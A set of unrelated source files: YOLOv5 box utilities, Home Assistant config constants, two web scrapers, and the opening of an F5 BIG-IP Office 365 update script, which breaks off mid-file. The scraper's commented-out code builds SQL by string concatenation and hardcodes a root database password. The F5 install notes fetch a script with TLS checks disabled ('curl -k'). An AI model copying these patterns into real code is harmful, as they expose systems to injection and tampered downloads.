+{"seq_id":"263819899","text":"import time\r\nimport numpy as np\r\nimport torch\r\nimport torchvision\r\nimport datetime\r\nimport os\r\nimport platform\r\nimport logging\r\nimport subprocess\r\nfrom pathlib import Path\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\ndef date_modified(path=__file__):\r\n    # return human-readable file modification date, i.e. '2021-3-26'\r\n    t = datetime.datetime.fromtimestamp(Path(path).stat().st_mtime)\r\n    return f'{t.year}-{t.month}-{t.day}'\r\n\r\n\r\ndef git_describe(path=Path(__file__).parent):  # path must be a directory\r\n    # return human-readable git description, i.e. v5.0-5-g3e25f1e https://git-scm.com/docs/git-describe\r\n    s = f'git -C {path} describe --tags --long --always'\r\n    try:\r\n        return subprocess.check_output(s, shell=True, stderr=subprocess.STDOUT).decode()[:-1]\r\n    except subprocess.CalledProcessError as e:\r\n        return ''  # not a git repository\r\n\r\n\r\ndef select_device(device='', batch_size=None):\r\n    # device = 'cpu' or '0' or '0,1,2,3'\r\n    s = f'YOLOv5 🚀 {git_describe() or date_modified()} torch {torch.__version__} '  # string\r\n    device = str(device).strip().lower().replace('cuda:', '')  # to string, 'cuda:0' to '0'\r\n    cpu = device == 'cpu'\r\n    if cpu:\r\n        os.environ['CUDA_VISIBLE_DEVICES'] = '-1'  # force torch.cuda.is_available() = False\r\n    elif device:  # non-cpu device requested\r\n        os.environ['CUDA_VISIBLE_DEVICES'] = device  # set environment variable\r\n        assert torch.cuda.is_available(), f'CUDA unavailable, invalid device {device} requested'  # check availability\r\n\r\n    cuda = not cpu and torch.cuda.is_available()\r\n    if cuda:\r\n        devices = device.split(',') if device else '0'  # range(torch.cuda.device_count())  # i.e. 0,1,6,7\r\n        n = len(devices)  # device count\r\n        if n > 1 and batch_size:  # check batch_size is divisible by device_count\r\n            assert batch_size % n == 0, f'batch-size {batch_size} not multiple of GPU count {n}'\r\n        space = ' ' * (len(s) + 1)\r\n        for i, d in enumerate(devices):\r\n            p = torch.cuda.get_device_properties(i)\r\n            s += f\"{'' if i == 0 else space}CUDA:{d} ({p.name}, {p.total_memory / 1024 ** 2}MB)\\n\"  # bytes to MB\r\n    else:\r\n        s += 'CPU\\n'\r\n\r\n    logger.info(s.encode().decode('ascii', 'ignore') if platform.system() == 'Windows' else s)  # emoji-safe\r\n    return torch.device('cuda:0' if cuda else 'cpu')\r\n\r\ndef clip_coords(boxes, shape):\r\n    # Clip bounding xyxy bounding boxes to image shape (height, width)\r\n    if isinstance(boxes, torch.Tensor):  # faster individually\r\n        boxes[:, 0].clamp_(0, shape[1])  # x1\r\n        boxes[:, 1].clamp_(0, shape[0])  # y1\r\n        boxes[:, 2].clamp_(0, shape[1])  # x2\r\n        boxes[:, 3].clamp_(0, shape[0])  # y2\r\n    else:  # np.array (faster grouped)\r\n        boxes[:, [0, 2]] = boxes[:, [0, 2]].clip(0, shape[1])  # x1, x2\r\n        boxes[:, [1, 3]] = boxes[:, [1, 3]].clip(0, shape[0])  # y1, y2\r\n        \r\ndef scale_coords(img1_shape, coords, img0_shape, ratio_pad=None):\r\n    # Rescale coords (xyxy) from img1_shape to img0_shape\r\n    if ratio_pad is None:  # calculate from img0_shape\r\n        gain = min(img1_shape[0] / img0_shape[0], img1_shape[1] / img0_shape[1])  # gain  = old / new\r\n        pad = (img1_shape[1] - img0_shape[1] * gain) / 2, (img1_shape[0] - img0_shape[0] * gain) / 2  # wh padding\r\n    else:\r\n        gain = ratio_pad[0][0]\r\n        pad = ratio_pad[1]\r\n\r\n    coords[:, [0, 2]] -= pad[0]  # x padding\r\n    coords[:, [1, 3]] -= pad[1]  # y padding\r\n    coords[:, :4] /= gain\r\n    clip_coords(coords, img0_shape)\r\n    return coords\r\n\r\ndef box_iou(box1, box2):\r\n    # https://github.com/pytorch/vision/blob/master/torchvision/ops/boxes.py\r\n    \"\"\"\r\n    Return intersection-over-union (Jaccard index) of boxes.\r\n    Both sets of boxes are expected to be in (x1, y1, x2, y2) format.\r\n    Arguments:\r\n        box1 (Tensor[N, 4])\r\n        box2 (Tensor[M, 4])\r\n    Returns:\r\n        iou (Tensor[N, M]): the NxM matrix containing the pairwise\r\n            IoU values for every element in boxes1 and boxes2\r\n    \"\"\"\r\n\r\n    def box_area(box):\r\n        # box = 4xn\r\n        return (box[2] - box[0]) * (box[3] - box[1])\r\n\r\n    area1 = box_area(box1.T)\r\n    area2 = box_area(box2.T)\r\n\r\n    # inter(N,M) = (rb(N,M,2) - lt(N,M,2)).clamp(0).prod(2)\r\n    inter = (torch.min(box1[:, None, 2:], box2[:, 2:]) - torch.max(box1[:, None, :2], box2[:, :2])).clamp(0).prod(2)\r\n    return inter / (area1[:, None] + area2 - inter)  # iou = inter / (area1 + area2 - inter)\r\n\r\n\r\ndef xywh2tlwh(xywh):\r\n  # xywh: center, w, h\r\n  # tlwh: top-left, w, h\r\n  xywh[:,:2] = xywh[:, :2] - xywh[:, 2:] / 2\r\n  return xywh\r\n\r\ndef xywh2xyxy(x):\r\n    # Convert nx4 boxes from [x, y, w, h] to [x1, y1, x2, y2] where xy1=top-left, xy2=bottom-right\r\n    y = x.clone() if isinstance(x, torch.Tensor) else np.copy(x)\r\n    y[:, 0] = x[:, 0] - x[:, 2] / 2  # top left x\r\n    y[:, 1] = x[:, 1] - x[:, 3] / 2  # top left y\r\n    y[:, 2] = x[:, 0] + x[:, 2] / 2  # bottom right x\r\n    y[:, 3] = x[:, 1] + x[:, 3] / 2  # bottom right y\r\n    return y\r\n    \r\ndef xyxy2xywh(x):\r\n    # Convert nx4 boxes from [x1, y1, x2, y2] to [x, y, w, h] where xy1=top-left, xy2=bottom-right\r\n    y = x.clone() if isinstance(x, torch.Tensor) else np.copy(x)\r\n    y[:, 0] = (x[:, 0] + x[:, 2]) / 2  # x center\r\n    y[:, 1] = (x[:, 1] + x[:, 3]) / 2  # y center\r\n    y[:, 2] = x[:, 2] - x[:, 0]  # width\r\n    y[:, 3] = x[:, 3] - x[:, 1]  # height\r\n    return y\r\n\r\ndef non_max_suppression(prediction, conf_thres=0.25, iou_thres=0.45, classes=None, agnostic=False, multi_label=False,\r\n                        labels=(), max_det=300):\r\n    \"\"\"Runs Non-Maximum Suppression (NMS) on inference results\r\n\r\n    Returns:\r\n         list of detections, on (n,6) tensor per image [xyxy, conf, cls]\r\n    \"\"\"\r\n\r\n    nc = prediction.shape[2] - 5  # number of classes\r\n    xc = prediction[..., 4] > conf_thres  # candidates\r\n\r\n    # Checks\r\n    assert 0 <= conf_thres <= 1, f'Invalid Confidence threshold {conf_thres}, valid values are between 0.0 and 1.0'\r\n    assert 0 <= iou_thres <= 1, f'Invalid IoU {iou_thres}, valid values are between 0.0 and 1.0'\r\n\r\n    # Settings\r\n    min_wh, max_wh = 2, 4096  # (pixels) minimum and maximum box width and height\r\n    max_nms = 30000  # maximum number of boxes into torchvision.ops.nms()\r\n    time_limit = 10.0  # seconds to quit after\r\n    redundant = True  # require redundant detections\r\n    multi_label &= nc > 1  # multiple labels per box (adds 0.5ms/img)\r\n    merge = False  # use merge-NMS\r\n\r\n    t = time.time()\r\n    output = [torch.zeros((0, 6), device=prediction.device)] * prediction.shape[0]\r\n    for xi, x in enumerate(prediction):  # image index, image inference\r\n        # Apply constraints\r\n        # x[((x[..., 2:4] < min_wh) | (x[..., 2:4] > max_wh)).any(1), 4] = 0  # width-height\r\n        x = x[xc[xi]]  # confidence\r\n\r\n        # Cat apriori labels if autolabelling\r\n        if labels and len(labels[xi]):\r\n            l = labels[xi]\r\n            v = torch.zeros((len(l), nc + 5), device=x.device)\r\n            v[:, :4] = l[:, 1:5]  # box\r\n            v[:, 4] = 1.0  # conf\r\n            v[range(len(l)), l[:, 0].long() + 5] = 1.0  # cls\r\n            x = torch.cat((x, v), 0)\r\n\r\n        # If none remain process next image\r\n        if not x.shape[0]:\r\n            continue\r\n\r\n        # Compute conf\r\n        x[:, 5:] *= x[:, 4:5]  # conf = obj_conf * cls_conf\r\n\r\n        # Box (center x, center y, width, height) to (x1, y1, x2, y2)\r\n        box = xywh2xyxy(x[:, :4])\r\n\r\n        # Detections matrix nx6 (xyxy, conf, cls)\r\n        if multi_label:\r\n            i, j = (x[:, 5:] > conf_thres).nonzero(as_tuple=False).T\r\n            x = torch.cat((box[i], x[i, j + 5, None], j[:, None].float()), 1)\r\n        else:  # best class only\r\n            conf, j = x[:, 5:].max(1, keepdim=True)\r\n            x = torch.cat((box, conf, j.float()), 1)[conf.view(-1) > conf_thres]\r\n\r\n        # Filter by class\r\n        if classes is not None:\r\n            x = x[(x[:, 5:6] == torch.tensor(classes, device=x.device)).any(1)]\r\n\r\n        # Apply finite constraint\r\n        # if not torch.isfinite(x).all():\r\n        #     x = x[torch.isfinite(x).all(1)]\r\n\r\n        # Check shape\r\n        n = x.shape[0]  # number of boxes\r\n        if not n:  # no boxes\r\n            continue\r\n        elif n > max_nms:  # excess boxes\r\n            x = x[x[:, 4].argsort(descending=True)[:max_nms]]  # sort by confidence\r\n\r\n        # Batched NMS\r\n        c = x[:, 5:6] * (0 if agnostic else max_wh)  # classes\r\n        boxes, scores = x[:, :4] + c, x[:, 4]  # boxes (offset by class), scores\r\n        i = torchvision.ops.nms(boxes, scores, iou_thres)  # NMS\r\n        if i.shape[0] > max_det:  # limit detections\r\n            i = i[:max_det]\r\n        if merge and (1 < n < 3E3):  # Merge NMS (boxes merged using weighted mean)\r\n            # update boxes as boxes(i,4) = weights(i,n) * boxes(n,4)\r\n            iou = box_iou(boxes[i], boxes) > iou_thres  # iou matrix\r\n            weights = iou * scores[None]  # box weights\r\n            x[i, :4] = torch.mm(weights, x[:, :4]).float() / weights.sum(1, keepdim=True)  # merged boxes\r\n            if redundant:\r\n                i = i[iou.sum(1) > 1]  # require redundancy\r\n\r\n        output[xi] = x[i]\r\n        if (time.time() - t) > time_limit:\r\n            print(f'WARNING: NMS time limit {time_limit}s exceeded')\r\n            break  # time limit exceeded\r\n\r\n    return output\r\n\r\ndef ccw(A, B, C):  # 两个向量叉乘的计算公式，计数创新点\r\n    return (C[1] - A[1]) * (B[0] - A[0]) > (B[1] - A[1]) * (C[0] - A[0])\r\n\r\ndef intersect(A, B, C, D):  # C,D是自己画线的两端坐标,用的是向量叉乘的思想，证明A,B在C,D两端 且 C,D在A,B两端\r\n    return ccw(A, C, D) != ccw(B, C, D) and ccw(A, B, C) != ccw(A, B, D)\r\n\r\ndef below_line(line, point): # direction from line[0] to line[1]\r\n    slope = (line[1][1] - line[0][1]) / (line[1][0] - line[0][0])\r\n    intercept = line[1][1] - slope * line[1][0]\r\n    return point[1] < point[0] * slope + intercept\r\n\r\ndef in_box(point, box):\r\n    return point[0] > box[0][0] and point[0] < box[1][0] and point[1] > box[0][1] and point[1] < box[1][1]","sub_path":"classify/my_utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"254647959","text":"import homeassistant.helpers.config_validation as cv\nimport voluptuous as vol\nfrom homeassistant.const import *\n\nCONF_UPDATE_INSTANT = \"update_instant\"\nCONF_MAPPING = 'mapping'\nCONF_CONTROL_PARAMS = 'params'\nCONF_CLOUD = 'update_from_cloud'\nCONF_MODEL = 'model'\nCONF_SENSOR_PROPERTY = \"sensor_property\"\nCONF_SENSOR_UNIT = \"sensor_unit\"\nCONF_DEFAULT_PROPERTIES = \"default_properties\"\n\nATTR_STATE_VALUE = \"state_value\"\nATTR_MODEL = \"model\"\nATTR_FIRMWARE_VERSION = \"firmware_version\"\nATTR_HARDWARE_VERSION = \"hardware_version\"\n\nDOMAIN = 'xiaomi_miot_raw'\nSUPPORTED_DOMAINS = [\n    \"sensor\",\n    \"switch\",\n    \"light\",\n    \"fan\",\n    \"cover\",\n    \"humidifier\",\n]\nDEFAULT_NAME = \"Xiaomi MIoT Device\"\nSCHEMA = {\n        vol.Required(CONF_HOST): cv.string,\n        vol.Required(CONF_TOKEN): vol.All(cv.string, vol.Length(min=32, max=32)),\n        vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\n        vol.Optional(CONF_UPDATE_INSTANT, default=True): cv.boolean,\n        vol.Optional(CONF_CLOUD): vol.All(),\n        vol.Optional('cloud_write'):vol.All(),\n        \n        vol.Required(CONF_MAPPING):vol.All(),\n        vol.Optional(CONF_CONTROL_PARAMS):vol.All(),\n        \n        vol.Optional(CONF_SENSOR_PROPERTY): cv.string,\n        vol.Optional(CONF_SENSOR_UNIT): cv.string,\n}","sub_path":"custom_components/xiaomi_miot_raw/deps/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"270982892","text":"import requests\nimport pymysql\nimport urllib\nfrom lxml import html\nimport time\nimport base64\nstart = time.time()\nfor i in range(0,1):\n    url_start = \"http://sousuo.gov.cn/column/30469/\"+str(i)+\".htm\"  #当前总共有66页数据，从0.htm开始\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.49\"\n    }\n    params = {\"sn\": \"a14062711010650606ss9p000000\", \"size\": \"0\"}\n    response = requests.get(url=url_start, params=params, headers=headers)\n    response.encoding = \"utf-8\"\n    pages_text = response.text\n    etree = html.etree\n    tree = etree.HTML(pages_text)\n    td_xpath = tree.xpath('//ul[@class=\"listTxt\"]/li/h4/a/@href')\n    for i in td_xpath:\n        url_one = \"http://www.scio.gov.cn/xwfbh/gssxwfbh/xwfbh/jiangxi/\"\n        url = urllib.parse.urljoin(url_one, i)  # ---------------------------------------url\n        response = requests.get(url=url, params=params, headers=headers)\n        response.encoding = \"utf-8\"\n        pages_text = response.text\n        etree = html.etree\n        tree = etree.HTML(pages_text)\n        neirong1 = tree.xpath(\"//p[@style='text-indent: 2em; font-family: 宋体; font-size: 12pt;']/text()\")\n        neirong2 = tree.xpath('//*[@id=\"UCAP-CONTENT\"]/p/text()')\n        neirong3 = neirong1 + neirong2\n        neirong = []\n        for x in neirong3:\n            neirong.append(x.replace(u'\\u3000', u' ').replace(u'\\xa0', u' ').replace(u'\\n', u' ').replace(u'\\r', u' '))\n        # neirong = [neirong5 + \"\\n\" for neirong5 in neirong4]\n        faburiqi1 = tree.xpath('//table[@style=\"width:660px;margin:0 auto;margin-top:12px;\"]/tbody/tr[4]/td[4]/text()')\n        faburiqi2 = tree.xpath('//table[@style=\"width:860px;margin:0 auto;margin-top:12px;\"]/tbody/tr[4]/td[4]/text()')\n        faburiqi3 = tree.xpath('//div[@class=\"pages-date\"]/text()')\n        faburiqi4 = faburiqi1 + faburiqi2 + faburiqi3\n        faburiqi1 = [x.strip() for x in faburiqi4 if x.strip() != '']\n        texts = str(faburiqi1)\n        faburiqi = texts.replace(\"年\", \"-\").replace(\"月\", \"-\").replace(\"日\", \"\").replace(\"/\", \"-\").strip()\n        biaoti1 = tree.xpath('//div[@class=\"article oneColumn pub_border\"]/h1/text()')\n        biaoti2 = tree.xpath('//table[@style=\"width:860px;margin:0 auto;margin-top:12px;\"]/tbody/tr[3]/td[2]/text()')\n        biaoti3 = tree.xpath('//table[@style=\"width:660px;margin:0 auto;margin-top:12px;\"]/tbody/tr[3]/td[2]/text()')\n        biaoti4 = biaoti3 + biaoti2 + biaoti1\n        biaoti = [x.strip() for x in biaoti4 if x.strip() != '']\n        suoyinhao1 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[1]/td[1]/b/text()')\n        suoyinhao2 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[1]/td[2]/text()')\n        suoyinhao = suoyinhao1 + suoyinhao2\n        zhutifenlei1 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[1]/td[3]/b/text()')\n        zhutifenlei2 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[1]/td[4]/text()')\n        zhutifenlei = zhutifenlei1 + zhutifenlei2\n        fawenjiguan1 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[2]/td[1]/b/text()')\n        fawenjiguan2 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[2]/td[2]/text()')\n        fawenjiguan = fawenjiguan1 + fawenjiguan2\n        chengwenriqi1 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[2]/td[3]/b/text()')\n        chengwenriqi2 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[2]/td[4]/text()')\n        chengwenriqi = chengwenriqi1 + chengwenriqi2\n        fawenzihao1 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[4]/td[1]/b/text()')\n        fawenzihao2 = tree.xpath('/html/body/div[6]/div[3]/table[1]/tbody/tr/td/table[1]/tbody/tr[4]/td[2]/text()')\n        fawenzihao = fawenzihao1 + fawenzihao2\n        wangzhanbiaoshima = '网站标识码bm01000001'\n        ipbeianhao = '京ICP备05070218号'\n        beianhao = '京公网安备11010202000001号'\n        keys = base64.b64encode(url.encode(\"utf8\"))\n        key = str(keys, encoding=\"utf8\")\n        gwzl = '通知通告'\n        fwzh = []\n        ztc=[]\n        fujian=[]\n        zcly='中央人民政府'\n        shenxiaorq=[]\n        shixiaorq=[]\n\n        print(url)  # url\n        print(suoyinhao)#索引号\n        print(zhutifenlei)#主题分类\n        print(fawenjiguan)#发文机关\n        print(gwzl)#公文种类\n        print(chengwenriqi)#成文日期\n        print(biaoti)#标题\n        print(faburiqi)#发布日期\n        print(ztc)#主题词\n        print(neirong)#全文内容\n        print(fujian)#fujian\n        print(zcly)#政策来源\n        print(shenxiaorq)#生效日期\n        print(shixiaorq)#失效日期\n        print('\\n')\n\n        #Faburiqi`,`Neirong`,`Wzbsm`,`Ipbeianhao`,\n        # connect = pymysql.Connect(host='localhost', port=3306, user=\"root\", passwd=\"mima123456\",\n        #                           db=\"guojiazhengce\",\n        #                           charset='utf8')\n        # cursor = connect.cursor()\n        # sql = 'INSERT ignore INTO gjzcb(`Key`,`Suoyinhao`,`Zhutifenlei`,`Fawenjiguan`,`Chengwenriqi`,`Biaoti`,`Fawenzihao`,`Faburiqi`,`Neirong`,`Wzbsm`,`Ipbeianhao`,`Beianhao`)VALUES(\"' + str(key) + '\",\"' + str(\n        #     suoyinhao) + '\",\"' + str(\n        #     zhutifenlei) + '\",\"' + str(fawenjiguan) + '\",\"' + str(chengwenriqi) + '\",\"' + str(biaoti) + '\",\"' + str(\n        #     fawenzihao) + '\",\"' + str(faburiqi) + '\",\"' + str(neirong) + '\",\"' + str(\n        #     wangzhanbiaoshima) + '\",\"' + str(ipbeianhao) + '\",\"' + str(beianhao) + '\")'\n        # cursor.execute(sql)\n        # connect.commit()\n        # connect.close()\nprint(f\"一共花费{time.time() - start}\")","sub_path":"未来时刻/政府.py","file_name":"政府.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"300349189","text":"#--*--encoding:utf-8--*--\n\nimport requests \nimport sys\nfrom pathlib import *\nfrom lxml import etree\nfrom time import sleep\n\ndef get_answer_name(url_address):\n\n    user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'\n\n    header = {'user-agent':user_agent}\n\n    response = requests.get(url_address,headers = header)\n\n    selector = etree.HTML(response.text)\n\n    # 获取问题答案的人的名字\n    # answer    = selector.xpath('//div[@class =\"List-item\"]/div/div/div//text()')\n    author = selector.xpath('//div[@class=\"List-item\"]//a[@class=\"UserLink-link\"]/text()')\n    answer = selector.xpath('//div[@class=\"List-item\"]//div[@class=\"RichContent-inner\"]/span[1]/p/text()')\n\n    answer_info = dict(zip(author, answer))\n    for i in answer_info:\n        print(f'答案作者： {i} \\t\\t 答案内容： {answer_info[i]}')\n\n    try :\n        response = requests.get(url_address,headers = header)\n    except Exception as e :\n        print(e)\n\n\n    # 下载信息写入文件\n\n    ## 获取当前文件所在的目录\n    basefile = Path(__file__)\n    ## 获取父级mul\n    file_parent = basefile.resolve().parent\n\n    ##新建目录\n    new_path = file_parent.joinpath('html_down')\n\n    if not new_path.is_dir() :\n        Path.mkdir(new_path)\n\n    page_name = new_path.joinpath('zhihu.html')\n\n    print(page_name)\n    # sys.exit(0)\n\n    try:\n        with open(page_name,'w', encoding= 'utf-8') as files:\n            files.write(str(answer_info))\n    except FileNotFoundError as e:\n        print(e)\n    except Exception as ee:\n        print(ee)\n\nif __name__ == '__main__' :\n\n    url_address = 'https://www.zhihu.com/question/289599760'\n\n    get_answer_name(url_address)\n\n    sleep(5)\n","sub_path":"week02/hwork_req_answer.py","file_name":"hwork_req_answer.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"647170529","text":"#!/bin/python\n# -*- coding: utf-8 -*-\n# O365 URL/IP update automation for BIG-IP\nversion = \"7.1.2\"\n# Last Modified: October 2020\n# Update author: Kevin Stewart, Sr. SSA F5 Networks\n# Contributors: Regan Anderson, Brett Smith, F5 Networks\n# Original author: Makoto Omura, F5 Networks Japan G.K.\n#\n# >>> NOTE: THIS VERSION OF THE OFFICE 365 SCRIPT IS SUPPORTED BY SSL ORCHESTRATOR 6.0 OR HIGHER <<<\n#\n# Updated for SSL Orchestrator by Kevin Stewart, SSA, F5 Networks\n# Update 20201104 - resolved URL category format issue\n# Update 20201008 - to support additional enhancements by Kevin Stewart\n#   - Updated to support HA mode (both peers perform updates and do not an trigger out-of-sync)\n#   - Updated to resolve issue if multiple versions of configuration iFile exists (takes latest)\n#   - Updated to include --force option to force a manual update (irrespective of config force_o365_record_refresh value)\n# Update 20200925 - to support additional enhancements by Kevin Stewart\n#   - Updated to support O365 optimize/allow/default categories as separate outputs\n#   - Updated to support options to output to URL categories and/or URL data groups\n#   - Updated to support included URLs\n#   - Updated to support configuration stored in iFile\n#   - Updated to include install|uninstall functions\n# Update 20200207 - to support additional enhancements by Kevin Stewart\n#   - Updated VERSION check routine to extract desired customer endpoint URI (previously was static \"Worldwide\")\n#   - Updated to remove excluded_urls and excluded_ips\n# Updated 20200130 - to support the following new functionality by Regan Anderson, F5 Networks\n#   - Changed default working directory to /shared/o365/\n#   - Removed deprecated Yammer service area\n#   - Added ability to import only \"Required\" records (and set as default)\n#   - Added URL and IP exclusion lists to manually exclude entries from being imported\n#   - Adjusted URL category records to support HTTP schemes in SSLOv7 (http:// and https://)\n#   - Added external data group support for URLs\n#   - Added external data group import function for IPv4/IPv6\n#\n# To install:\n#   - Download the script onto the F5 BIG-IP:\n#     curl -k https://raw.githubusercontent.com/kevingstewart/sslo_o365_update/main/sslo_o365_update.py -o sslo_o365_update.py\n#\n#   - Run the script with the --install option and a time interval (the time interval controls periodic updates, in seconds - 3600sec = 1hr).\n#     python sslo_o365_update.py --install 3600\n#\n# To modify the configuration:\n#   - tmsh edit the configuration json file\n#     tmsh\n#     edit sys file ifile o365_config.json\n#\n# To uninstall:\n#   - Run the script with the --uninstall option. This will remove the iCall script and handler, and configuration json file.\n#     python sslo_o365_update.py --uninstall\n# \n# The installed script creates a working directory (/shared/o365), an configuration (iFile) json file, an iCall script, and iCall script periodic handler.\n# The configuration json file controls the various settings of the script:\n# \n#     Microsoft Web Service Customer endpoints (ENABLE ONLY ONE ENDPOINT)\n#     These are the set of URLs defined by customer endpoints as described here: https://docs.microsoft.com/en-us/office365/enterprise/urls-and-ip-address-ranges\n#     Valid values are [Worldwide, USGovDoD, USGovGCCHigh, China, Germany]\n#     \"endpoint\": \"Worldwide\"\n#    \n#     O365 \"SeviceArea\" (O365 endpoints) to consume, as described here: https://docs.microsoft.com/en-us/office365/enterprise/urls-and-ip-address-ranges\n#     \"service_areas\": \n#         \"common\": true|false            -> Microsoft 365 Common and Office Online\"\n#         \"exchange\": true|false          -> Exchange Online  \n#         \"sharepoint\": true|false        -> SharePoint Online and OneDrive for Business\n#         \"skype\": true|false             -> Skype for Business Online and Microsoft Teams\n#\n#     O365 Record objects to create    \n#     \"outputs\": \n#         \"url_categories\": true|false    -> Create URL categories\n#         \"url_datagroups\": true|false    -> Create URL data groups\n#         \"ip4_datagroups\": true|false    -> Create IPv4 data groups\n#         \"ip6_datagroups\": true|false    -> Create IPv6 data groups\n#   \n#     O365 Category creation, create a single URL data set, and/or separate data sets for O365 Optimize/Default/Allow categories\n#     \"o365_categories\":                  \n#         \"all\": true|false               -> Create a single date set containing all URLs (all categories)\n#         \"optimize\": true|false          -> Create a data set containing O365 Optimize category URLs (note that the optimized URLs are in Exchange and SharePoint service areas)\n#         \"default\": true|false           -> Create a data set containing O365 Allow category URLs\n#         \"allow\": true|false             -> Create a data set containing O365 Default category URLs\n#   \n#     O365 Endpoints to import - O365 required endpoints or all endpoints\n#     WARNING: \"import all\" includes non-O365 URLs that one may not want to bypass (ex. www.youtube.com)\n#     \"only_required\": true|false         -> false=import all URLs, true=Office 365 required only URLs\n#    \n#     Excluded URLs (URL pattern matching is supported)\n#     Provide URLs in list format - ex. [\"m.facebook.com\", \".itunes.apple.com\", \"bit.ly\"]\n#     \"excluded_urls\": []\n#\n#     Included URLs (URL must be exact match to URL as it exists in JSON record - pattern matching not supported)\n#     Provide URLs in list format - ex. [\"m.facebook.com\", \".itunes.apple.com\", \"bit.ly\"]    \n#     \"included_urls\": [] \n#   \n#     Excluded IPs (IP must be exact match to IP as it exists in JSON record - IP/CIDR mask cannot be modified)\n#     Provide IPs in list format - ex. [\"191.234.140.0/22\", \"2620:1ec:a92::152/128\"] \n#     \"excluded_ips\": [] \n#    \n#     \"system\":\n#         \"force_refresh\": true|false     -> Action if O365 endpoint list is not updated (a \"fetch now\" function)\n#         \"log_level\": 1                  -> 0=none, 1=normal, 2=verbose\n#         \"ha_config\": 0                  -> 0=stand alone, 1=HA paired\n#         \"device_group\": \"device-group-1\"-> Name of Sync-Failover Device Group.  Required for HA paired BIG-IP.\n#\n#\n#\n# This Sample Software provided by the author is for illustrative\n# purposes only which provides customers with programming information\n# regarding the products. This software is supplied \"AS IS\" without any\n# warranties and support.\n#\n# The author(s) assume no responsibility or liability for the use of the\n# software, conveys no license or title under any patent, copyright, or\n# mask work right to the product.\n#\n# The author(s) reserve the right to make changes in the software without\n# notification. The author also make no representation or warranty that\n# such application will be suitable for the specified use without\n# further testing or modification.\n#-----------------------------------------------------------------------\n\nimport urllib2\nimport fnmatch\nimport uuid\nimport os\nimport re\nimport json\nimport commands\nimport datetime\nimport sys\n\n\n#-----------------------------------------------------------------------\n# System Options - Modify only when necessary\n#-----------------------------------------------------------------------\n\n# O365 custom URL category names\no365_category = \"Office_365_Managed_All\"\no365_category_optimized = \"Office_365_Managed_Optimized\"\no365_category_default = \"Office_365_Managed_Default\"\no365_category_allow = \"Office_365_Managed_Allow\"\n\n# O365 data group names\ndg_name_urls = \"O365_URLs\"\ndg_name_ipv4 = \"O365_IPv4\"\ndg_name_ipv6 = \"O365_IPv6\"\no365_dg = \"Office_365_Managed_All\"\no365_dg_optimize = \"Office_365_Managed_Optimized\"\no365_dg_default = \"Office_365_Managed_Default\"\no365_dg_allow = \"Office_365_Managed_Allow\"\no365_dg_ipv4 = \"Office_365_Managed_IPv4\"\no365_dg_ipv6 = \"Office_365_Managed_IPv6\"\n\n# Microsoft Web Service URLs\nurl_ms_o365_endpoints = \"endpoints.office.com\"\nurl_ms_o365_version = \"endpoints.office.com\"\nuri_ms_o365_version = \"/version?ClientRequestId=\"\n\n# Working directory, file name for guid & version management\nwork_directory = \"/shared/o365/\"\nfile_name_guid = \"/shared/o365/guid.txt\"\nfile_ms_o365_version = \"/shared/o365/o365_version.txt\"\nlog_dest_file = \"/var/log/o365_update\"\n\n\n#-----------------------------------------------------------------------\n# Implementation - Please do not modify\n#-----------------------------------------------------------------------\nlist_urls_to_bypass = []\nlist_optimized_urls_to_bypass = []\nlist_default_urls_to_bypass = []\nlist_allow_urls_to_bypass = []\nlist_ipv4_to_pbr = []\nlist_ipv6_to_pbr = []\nfailover_state = \"\"\n\ndef log(lev, log_lev, msg):\n    if int(log_lev) >= int(lev):\n        log_string = \"{0:%Y-%m-%d %H:%M:%S}\".format(datetime.datetime.now()) + \" \" + msg + \"\\n\"\n        f = open(log_dest_file, \"a\")\n        f.write(log_string)\n        f.flush()\n        f.close()\n    return\n\ndef main():\n    # Define global variables\n    global customer_endpoint\n    global service_areas_common\n    global service_areas_exchange\n    global service_areas_sharepoint\n    global service_areas_skype\n    global output_url_categories\n    global output_url_datagroups\n    global output_ip4_datagroups\n    global output_ip6_datagroups\n    global o365_categories_all\n    global o365_categories_optimize\n    global o365_categories_default\n    global o365_categories_allow\n    global only_required\n    global excluded_urls\n    global included_urls\n    global excluded_ips\n    global force_o365_record_refresh\n    global log_level\n    global ha_config\n    global device_group\n    global force_update\n\n    # Initialize force_update to false\n    force_update = False\n\n    # -----------------------------------------------------------------------\n    # Parse command line arguments\n    # -----------------------------------------------------------------------\n    if not len(sys.argv) >= 2:\n        print(\"\\nError: No argument specified.\\n\\n\")\n        show_help()\n    if sys.argv[1] == \"-h\":\n        show_help()\n    elif sys.argv[1] == \"--install\":\n        script_install()\n    elif sys.argv[1] == \"--uninstall\":\n        script_uninstall()\n    elif sys.argv[1] == \"--force\":\n        force_update = 